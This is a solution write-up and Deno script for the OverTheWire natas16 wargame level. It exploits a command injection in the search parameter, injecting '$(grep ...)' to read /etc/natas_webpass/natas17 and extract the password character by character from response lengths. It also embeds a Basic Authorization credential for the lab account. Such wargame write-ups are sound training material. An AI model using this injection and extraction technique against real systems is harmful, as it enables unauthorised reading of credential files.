OverTheWire natas 16 Solution. natas16 contains command injection vulnerability. This javascript based deno script contains the solution to obtain the password for natas17 by manipulating command injection

natas16.js

/**
 * Prerequisites:
 * 
 * 1. Update the Basic Authorization value
 * 2. Install deno runtime - https://docs.deno.com/runtime/getting_started/installation/
 * 
 * Command:
 * 
 * deno run --node-modules-dir=auto --allow-net --allow-env natas16.js
 * 
 * Note:
 * 
 * Password length should be of 32. Its suggested to rerun the script, if there is any issue with password length or the password itself
 */

import axios from 'npm:axios';

const headers = {
    'Host': 'natas16.natas.labs.overthewire.org',
    'Authorization': 'Basic bmF0YXMxNjpoUGtqS1l2aUxRY3RFVzMzUW11WEw2ZURWZk1XNHNHbw=='
}
const baseUrl = "http://natas16.natas.labs.overthewire.org/index.php"

const alphanumeric = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let password = "";

function prepareBatch(inputArray, count) {
    let group = []
    let tempGroup = [];
    for (let i in inputArray) {
        tempGroup.push(inputArray[i])
        if (tempGroup.length == count) {
            group.push(tempGroup)
            tempGroup = []
        }
    }
    if (tempGroup.length != 0) {
        group.push(tempGroup)
    }

    return group;
}

function natasRequest(needle, char) {
    return new Promise(async (resolve, reject) => {
        try {
            let response = (await axios.get(`${baseUrl}?submit=Search&needle=${needle}`, {
                headers,
                // timeout: 30000
            })).data
            if (response.length <= 1300) {
                resolve(char)
            } else {
                reject()
            }
        } catch (e) {
            console.error(e)
            reject()
        }
    })
}

async function findChars(input) {
    let charGroups = prepareBatch(input.split(''), 10)
    let availableChars = ""
    for (let group of charGroups) {
        let promises = [];
        for (let char of group) {
            promises.push(
                natasRequest(
                    "$(grep+" + char + "+/etc/natas_webpass/natas17)",
                    char
                )
            )
        }
        let charsPromises = await Promise.allSettled(promises)
        availableChars += charsPromises.reduce((acc, item) => {
            if (item.status == "fulfilled") acc += item.value
            return acc
        }, "")
    }
    return availableChars;
}

async function crackPassword(availableChars) {
    let charGroups = prepareBatch(availableChars.split(''), 10)
    for (let j = 1; j <= 32; j++) {
        for (let group of charGroups) {
            let promises = [];
            for (let char of group) {
                promises.push(
                    natasRequest(
                        "$(grep+-e+^" + password + char + "+/etc/natas_webpass/natas17)",
                        char
                    )
                )
            }
            try {
                let foundChar = await Promise.any(promises)
                password += foundChar;
                break
            } catch (e) {
                continue
            }
        }
    }
}

async function main() {
    try {
        let availableChars = await findChars(alphanumeric);
        console.log("Available Chars Length: ", availableChars.length, "\nAvailable Characters: ", availableChars,)
        await crackPassword(availableChars);
    } catch (e) {
        console.error("Err===", e)
    }
}

main()
    .then(() => console.log("Password Length: ", password.length, "\nPassword: ", password,))
    .catch(err => console.error(err));